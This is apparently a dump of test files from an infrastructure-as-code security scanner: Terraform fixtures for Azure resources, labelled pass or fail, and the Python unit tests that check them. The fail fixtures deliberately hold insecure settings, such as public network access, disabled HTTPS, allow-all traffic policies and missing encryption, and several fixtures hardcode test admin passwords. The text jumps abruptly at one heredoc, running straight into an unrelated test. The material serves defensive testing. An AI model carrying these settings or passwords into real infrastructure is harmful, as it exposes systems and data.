client_secret = "secret" issuer_uri = "https://www.example.com/issueToken" scope = ["read"] } } ================================================ FILE: tests/terraform/checks/resource/azure/example_StorageAccountDefaultNetworkAccessDeny/main.tf ================================================ #not set - ignore resource "azurerm_storage_account" "unknown" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" } # deny so pass resource "azurerm_storage_account" "pass" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" network_rules { default_action = "Deny" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } #allow so fail resource "azurerm_storage_account" "fail" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } #allow fail resource "azurerm_storage_account_network_rules" "fail" { resource_group_name = azurerm_resource_group.test.name storage_account_name = azurerm_storage_account.test.name default_action = "Allow" ip_rules = ["127.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.test.id] bypass = ["Metrics"] storage_account_id = "" } #deny so pass resource "azurerm_storage_account_network_rules" "pass" { resource_group_name = azurerm_resource_group.test.name storage_account_name = azurerm_storage_account.test.name default_action = "Deny" ip_rules = ["127.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.test.id] bypass = ["Metrics"] storage_account_id = "" } ================================================ FILE: tests/terraform/checks/resource/azure/example_StorageAccountDisablePublicAccess/main.tf ================================================ resource "azurerm_storage_account" "fail" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" enable_https_traffic_only = false public_network_access_enabled = true tags = { environment = "staging" } } resource "azurerm_storage_account" "pass" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" public_network_access_enabled = false tags = { environment = "staging" } } resource "azurerm_storage_account" "fail2" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" tags = { environment = "staging" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_StorageAccountName/azurecaf.tf ================================================ provider "azurerm" { features {} } resource "azurecaf_name" "example" { random_length = 20 resource_type = "azurerm_storage_account" } resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_storage_account" "azurecaf" { name = azurecaf_name.example.result resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" tags = { environment = "staging" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_StorageAccountName/main.tf ================================================ # pass resource "azurerm_storage_account" "pass" { name = "storageaccountname" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "pass_number" { name = 1234567890 resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } # fail resource "azurerm_storage_account" "camel_case" { name = "thisIsWrong" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "kebab_case" { name = "this-is-wrong" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "too_long" { name = "thisiswayyyyyytoooloooong" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } # unknown resource "azurerm_storage_account" "local" { name = "${local.prefix}example" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "module" { name = "${module.something.prefix}example" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "var" { name = "${var.prefix}example" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "random_string" { name = "${random_string.prefix}example" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "random_id" { name = "${random_id.prefix}example" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "random_pet" { name = "${random_pet.prefix}example" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "random_integer" { name = "${random_integer.prefix}example" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } ================================================ FILE: tests/terraform/checks/resource/azure/example_StorageAccountsTransportEncryption/main.tf ================================================ # pass resource "azurerm_storage_account" "default" { name = "storageaccountname" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "enabled" { name = "storageaccountname" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" enable_https_traffic_only = true } # fail resource "azurerm_storage_account" "disabled" { name = "storageaccountname" resource_group_name = "azurerm_resource_group.example.name" location = "azurerm_resource_group.example.location" account_tier = "Standard" account_replication_type = "GRS" enable_https_traffic_only = false } ================================================ FILE: tests/terraform/checks/resource/azure/example_StorageAccountsUseReplication/main.tf ================================================ resource "azurerm_storage_account" "pass" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" enable_https_traffic_only = false allow_nested_items_to_be_public = true tags = { environment = "staging" } } resource "azurerm_storage_account" "fail" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "LRS" allow_nested_items_to_be_public = false tags = { environment = "staging" } } resource "azurerm_storage_account" "pass2" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "RAGRS" tags = { environment = "staging" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_StorageBlobRestrictPublicAccess/main.tf ================================================ resource "azurerm_storage_account" "fail" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" enable_https_traffic_only = false allow_nested_items_to_be_public = true tags = { environment = "staging" } } resource "azurerm_storage_account" "pass" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" allow_nested_items_to_be_public = false tags = { environment = "staging" } } resource "azurerm_storage_account" "fail2" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" tags = { environment = "staging" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_StorageLocalUsers/main.tf ================================================ resource "azurerm_storage_account" "pass" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" local_user_enabled = false } resource "azurerm_storage_account" "fail" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" local_user_enabled = true } resource "azurerm_storage_account" "pass_missing_not_sftp" { name = "storageaccountname" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" } resource "azurerm_storage_account" "pass_missing_not_sftp2" { name = "examplename" resource_group_name = "example" location = "eastus" account_tier = "Standard" account_replication_type = "ZRS" } resource "azurerm_storage_account" "fail_missing_sftp" { name = "examplename" resource_group_name = "example" location = "eastus" account_tier = "Standard" account_replication_type = "ZRS" is_hns_enabled = true } resource "azurerm_storage_account" "pass_sftp_local_user_disabled" { name = "examplename" resource_group_name = "example" location = "eastus" account_tier = "Standard" account_replication_type = "ZRS" is_hns_enabled = true local_user_enabled = false } ================================================ FILE: tests/terraform/checks/resource/azure/example_StorageSyncServicePermissiveAccess/main.tf ================================================ # not azurerm_storage_sync resource resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } # fail resource "azurerm_storage_sync" "fail1" { name = "example-storage-sync1" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location tags = { foo = "bar" } incoming_traffic_policy = "AllowAllTraffic" } # pass resource "azurerm_storage_sync" "pass" { name = "example-storage-sync2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location tags = { foo = "bar" } incoming_traffic_policy = "AllowVirtualNetworksOnly" } # fail - Default set to AllowAllTraffic resource "azurerm_storage_sync" "fail2" { name = "example-storage-sync3" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location tags = { foo = "bar" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_SynapseSQLPoolDataEncryption/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_synapse_workspace" "azurerm_synapse_workspace_example" { name = "MyAzureSynapseWorkspace" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" identity { type = "SystemAssigned" } } resource "azurerm_synapse_sql_pool" "azurerm_synapse_sql_pool_pass" { name = "examplesqlpool" data_encrypted = true synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id sku_name = "DW100c" create_mode = "Default" storage_account_type = "GRS" } resource "azurerm_synapse_sql_pool" "azurerm_synapse_sql_pool_fail_A" { name = "examplesqlpool" data_encrypted = false synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id sku_name = "DW100c" create_mode = "Default" storage_account_type = "GRS" } resource "azurerm_synapse_sql_pool" "azurerm_synapse_sql_pool_fail_B" { name = "examplesqlpool" synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id sku_name = "DW100c" create_mode = "Default" storage_account_type = "GRS" } ================================================ FILE: tests/terraform/checks/resource/azure/example_SynapseWorkspaceAdministratorLoginPasswordHidden/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_synapse_workspace" "azurerm_synapse_workspace_pass" { name = "MyAzureSynapseWorkspace" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" identity { type = "SystemAssigned" } } resource "azurerm_synapse_workspace" "azurerm_synapse_workspace_fail" { name = "MyAzureSynapseWorkspace" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" identity { type = "SystemAssigned" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_SynapseWorkspaceCMKEncryption/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_synapse_workspace" "azurerm_synapse_workspace_pass" { name = "MyAzureSynapseWorkspace" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" customer_managed_key { key_versionless_id = azurerm_key_vault_key.example.versionless_id key_name = "enckey" } identity { type = "SystemAssigned" } } resource "azurerm_synapse_workspace" "azurerm_synapse_workspace_fail" { name = "MyAzureSynapseWorkspace" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" identity { type = "SystemAssigned" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_SynapseWorkspaceEnablesDataExfilProtection/main.tf ================================================ resource "azurerm_synapse_workspace" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret managed_virtual_network_enabled = false data_exfiltration_protection_enabled = true aad_admin { login = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" tenant_id = "00000000-0000-0000-0000-000000000000" } tags = { Env = "production" } } resource "azurerm_synapse_workspace" "fail2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret managed_virtual_network_enabled = false aad_admin { login = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" tenant_id = "00000000-0000-0000-0000-000000000000" } tags = { Env = "production" } } resource "azurerm_synapse_workspace" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret managed_virtual_network_enabled = false data_exfiltration_protection_enabled = false aad_admin { login = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" tenant_id = "00000000-0000-0000-0000-000000000000" } tags = { Env = "production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_VMAgentIsInstalled/main.tf ================================================ resource "azurerm_linux_virtual_machine" "fail" { name = "example-machine" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location size = "Standard_F2" admin_username = "adminuser" network_interface_ids = [ azurerm_network_interface.example.id, ] admin_ssh_key { username = "adminuser" public_key = file("~/.ssh/id_rsa.pub") } os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } source_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } provision_vm_agent = false } resource "azurerm_linux_virtual_machine_scale_set" "fail" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_username = "adminuser" admin_ssh_key { username = "adminuser" public_key = local.first_public_key } source_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } provision_vm_agent = false } resource "azurerm_linux_virtual_machine" "fail2" { name = "example-machine" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location size = "Standard_F2" admin_username = "adminuser" network_interface_ids = [ azurerm_network_interface.example.id, ] admin_ssh_key { username = "adminuser" public_key = file("~/.ssh/id_rsa.pub") } os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } source_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } provision_vm_agent = false } resource "azurerm_linux_virtual_machine" "pass" { name = "example-machine" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location size = "Standard_F2" admin_username = "adminuser" network_interface_ids = [ azurerm_network_interface.example.id, ] admin_ssh_key { username = "adminuser" public_key = file("~/.ssh/id_rsa.pub") } os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } source_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } provision_vm_agent = true } resource "azurerm_windows_virtual_machine" "pass" { name = "example-machine" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location size = "Standard_F2" admin_username = "adminuser" admin_password = "P@$$w0rd1234!" # checkov:skip=CKV_SECRET_80 test secret network_interface_ids = [ azurerm_network_interface.example.id, ] os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter" version = "latest" } encryption_at_host_enabled = true provision_vm_agent = true } resource "azurerm_windows_virtual_machine" "fail" { name = "example-machine" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location size = "Standard_F2" admin_username = "adminuser" admin_password = "P@$$w0rd1234!" network_interface_ids = [ azurerm_network_interface.example.id, ] os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter" version = "latest" } encryption_at_host_enabled = true provision_vm_agent = false } resource "azurerm_windows_virtual_machine" "fail2" { name = "example-machine" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location size = "Standard_F2" admin_username = "adminuser" admin_password = "P@$$w0rd1234!" network_interface_ids = [ azurerm_network_interface.example.id, ] os_disk { caching = "ReadWrite" storage_account_type = "Standard_LRS" } source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter" version = "latest" } encryption_at_host_enabled = true provision_vm_agent = false } resource "azurerm_windows_virtual_machine_scale_set" "fail" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_password = "P@55w0rd1234!" # checkov:skip=CKV_SECRET_80 test secret admin_username = "adminuser" enable_automatic_updates = true source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter-Server-Core" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } provision_vm_agent = false } resource "azurerm_windows_virtual_machine_scale_set" "pass" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_password = "P@55w0rd1234!" admin_username = "adminuser" enable_automatic_updates = true source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter-Server-Core" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } provision_vm_agent = true } resource "azurerm_linux_virtual_machine_scale_set" "passdefault" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_username = "adminuser" admin_ssh_key { username = "adminuser" public_key = local.first_public_key } source_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } } resource "azurerm_linux_virtual_machine_scale_set" "pass" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_username = "adminuser" admin_ssh_key { username = "adminuser" public_key = local.first_public_key } source_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } provision_vm_agent = true } resource "azurerm_resource_group" "example" { location = "uksouth" name = "test2" } ================================================ FILE: tests/terraform/checks/resource/azure/example_VMCredsInCustomData/main.tf ================================================ # pass resource "azurerm_virtual_machine" "no_secret" { name = "${var.prefix}-vm" location = "" network_interface_ids = [] resource_group_name = "" vm_size = "" storage_os_disk { create_option = "" name = "" } os_profile { admin_username = "example" computer_name = "hostname" custom_data = <= 2.99.0 def test_failure_false_new_syntax(self): resource_conf = { "name": ["example-aks1"], "location": ["${azurerm_resource_group.example.location}"], "resource_group_name": ["${azurerm_resource_group.example.name}"], "dns_prefix": ["exampleaks1"], "default_node_pool": [ {"name": ["default"], "node_count": [1], "vm_size": ["Standard_D2_v2"]} ], "identity": [{"type": ["SystemAssigned"]}], "agent_pool_profile": [{}], "service_principal": [{}], "role_based_access_control_enabled": [False], "tags": [{"Environment": "Production"}], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success_default(self): resource_conf = { "name": ["example-aks1"], "location": ["${azurerm_resource_group.example.location}"], "resource_group_name": ["${azurerm_resource_group.example.name}"], "dns_prefix": ["exampleaks1"], "default_node_pool": [ {"name": ["default"], "node_count": [1], "vm_size": ["Standard_D2_v2"]} ], "identity": [{"type": ["SystemAssigned"]}], "agent_pool_profile": [{}], "service_principal": [{}], "tags": [{"Environment": "Production"}], "addon_profile": [ {"oms_agent": [{"enabled": [True], "log_analytics_workspace_id": [""]}]} ], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) # azurerm < 2.99.0 def test_success(self): resource_conf = { "name": ["example-aks1"], "location": ["${azurerm_resource_group.example.location}"], "resource_group_name": ["${azurerm_resource_group.example.name}"], "dns_prefix": ["exampleaks1"], "default_node_pool": [ {"name": ["default"], "node_count": [1], "vm_size": ["Standard_D2_v2"]} ], "identity": [{"type": ["SystemAssigned"]}], "agent_pool_profile": [{}], "service_principal": [{}], "role_based_access_control": [{"enabled": [True]}], "tags": [{"Environment": "Production"}], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) # azurerm >= 2.99.0 def test_success_new_syntax(self): resource_conf = { "name": ["example-aks1"], "location": ["${azurerm_resource_group.example.location}"], "resource_group_name": ["${azurerm_resource_group.example.name}"], "dns_prefix": ["exampleaks1"], "default_node_pool": [ {"name": ["default"], "node_count": [1], "vm_size": ["Standard_D2_v2"]} ], "identity": [{"type": ["SystemAssigned"]}], "agent_pool_profile": [{}], "service_principal": [{}], "role_based_access_control_enabled": [True], "tags": [{"Environment": "Production"}], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AKSSecretStoreRotation.py ================================================ from checkov.terraform.checks.resource.azure.AKSSecretStoreRotation import check import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner class TestAKSSecretStoreRotation(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AKSSecretStoreRotation") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_kubernetes_cluster.pass', } failing_resources = { 'azurerm_kubernetes_cluster.fail', 'azurerm_kubernetes_cluster.fail2', } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AKSUpgradeChannel.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AKSUpgradeChannel import check class TestAKSUpgradeChannel(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AKSUpgradeChannel") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_kubernetes_cluster.pass_new', 'azurerm_kubernetes_cluster.pass_old', } failing_resources = { 'azurerm_kubernetes_cluster.fail_new', 'azurerm_kubernetes_cluster.fail2_new', 'azurerm_kubernetes_cluster.fail_old', 'azurerm_kubernetes_cluster.fail2_old', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AKSUsesAzurePoliciesAddon.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AKSUsesAzurePoliciesAddon import check from checkov.common.models.enums import CheckResult class TestAKSUsesAzurePoliciesAddon(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_kubernetes_cluster" "example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "azurerm_kubernetes_cluster" "example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" addon_profile { azure_policy { enabled = false } } default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure3(self): hcl_res = hcl2.loads(""" resource "azurerm_kubernetes_cluster" "example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" azure_policy { enabled = true } default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure4(self): hcl_res = hcl2.loads(""" resource "azurerm_kubernetes_cluster" "example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" azure_policy_enabled = false default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_kubernetes_cluster" "example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" addon_profile { azure_policy { enabled = true } } default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "azurerm_kubernetes_cluster" "example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" azure_policy_enabled = true default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AKSUsesDiskEncryptionSet.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AKSUsesDiskEncryptionSet import check from checkov.common.models.enums import CheckResult class TestAKSUsesDiskEncryptionSet(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_kubernetes_cluster" "example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_kubernetes_cluster" "example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" disk_encryption_set_id = "someId" default_node_pool { name = "default" node_count = 1 